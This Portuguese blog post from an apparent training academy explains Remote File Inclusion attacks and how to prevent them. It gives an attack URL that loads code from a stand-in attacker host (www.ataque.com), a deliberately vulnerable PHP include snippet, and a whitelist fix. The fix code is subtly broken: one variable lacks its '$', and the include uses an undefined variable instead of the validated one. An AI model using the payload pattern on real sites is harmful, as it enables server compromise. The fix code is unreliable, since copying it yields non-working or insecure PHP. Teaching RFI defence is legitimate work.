Saiba tudo sobre Inclusão de Arquivos Remotos (RFI)

Adriano Martins Antonio

Adriano Martins Antonio

em 15 de maio de 2020
Saiba Tudo Sobre Inclusão de Arquivos Remotos (RFI)

Fique ligado

​Entre para nossa lista e receba conteúdos exclusivos e com prioridade

Saiba tudo sobre Inclusão de Arquivos Remotos (RFI). Além disso, conheça o modo de se prevenir contra os ataques!

Conforme a internet e tecnologia avançam, mais opções e facilidades o usuário tem para resolver tarefas e transações via internet. Afinal, são tempos modernos, não é mesmo? Antes de mais nada, acompanhando esta evolução, estão os ataques.

Verdadeiros abusos sobre nós, que tentam roubar informações e causar outros tipos de danos mais graves a fim de nos lesar.

Diversos tipos de ataques são usados na tentativa de obter informações confidenciais e importantes, dentre eles o SQL Injection, XSS e RFI.

O que é RFI?

O RFI (Inclusão de Arquivos Remotos) é um tipo de exposição que ocorre pela falta de validação na entrada de dados pelo usuário, onde scripts são passados para uma aplicação Web. Como resultado, afeta o usuário de acordo com a sua intensidade.

Para que serve?

Uma aplicação que seja vulnerável ao RFI permite que o invasor faça inclusão de códigos (de arquivo hospedado remotamente) em um script executado no servidor que hospeda a aplicação.

Quando o código do invasor é executado no servidor, ele poderá roubar arquivos temporários, além de manipular informações e demais arquivos deste servidor.

Como funciona:

Um atacante tentará identificar a vulnerabilidade de algum site, verificando a sua URL. Veja o seguinte site:

www.exemplo.com/index.php?page=PageName

O usuário mal intencionado tentará inserir um link contendo o código malicioso, como a seguir:

www.exemplo.com/index.php?page=http://www.ataque.com/arquivo.php

Se o site for vulnerável, ele abrirá o link remoto e, portanto, o usuário poderá prosseguir com o ataque.

Leia também: Brasil é um dos países mais visados para grandes ataques hackers; entenda

Hacker usando laptop e acessando a internet para ataques
A falta de ensino em cultura digital é um alto fator para que as pessoas caiam em golpes

Prevenção

Assim como os demais tipos de ataques, o RFI aproveita de entrada de dados de forma não segura. Dessa forma, a melhor forma para evitar ataques RFI é validar todas as páginas que sejam incluídas. Embora que muito severa a opção, se faz uma boa saída.

Exemplo:

A seguir, só para ilustrar, apresentamos um trecho de um código em PHP que está programado de uma forma que torna uma página vulnerável.

?php

Include ($_GET[‘pagina’]);

?>

Neste código, a variável “pagina” não é validada em nenhum momento, posto que, deixa o caminho aberto para a inclusão de arquivos remotos. Contudo, a solução para este tipo de exposição, o caminho ideal seria modificar o código fonte, fazendo as validações necessárias na entrada dos dados.

Por isso, vamos ver um exemplo no trecho do código a seguir:

?php

var = $_GET[‘pagina’];
$pages = array(‘index.php’, ‘pagina1.php’, ‘pagina2.php’);
If(in_array ($var, $pages))
{
Include($pagina);
} else {
die (“tentativa de ataque”);
}

?>

Então, como notamos, a validação na entrada de dados do usuário se torna muito importante em ataques de inclusão de arquivos remotos. Isto é, a falta de tratamento nos dados sempre deixará a aplicação vulnerável.

Aliás, nós devemos partir do seguinte princípio: “Não confie em tudo que o usuário digitará”. Toda linguagem de programação possui recursos que permite tratar dados e formulários, seja por arrays ou outras funções.

A princípio, a finalidade de um array se dá em guardar dados de modo ordenado, ou seja, para cada linha, uma informação. Em suma, com efeito de que cada um dos elementos possa ser identificado.

PMG Academy RECOMENDA:

Enfim, você gostou do nosso conteúdo?

Se acaso ficou com alguma questão, não hesite em deixá-la aqui.

Nós, da PMG Academy, iremos te responder o mais breve. Até logo mais!

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn

Artigos Relacionados

Responses

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *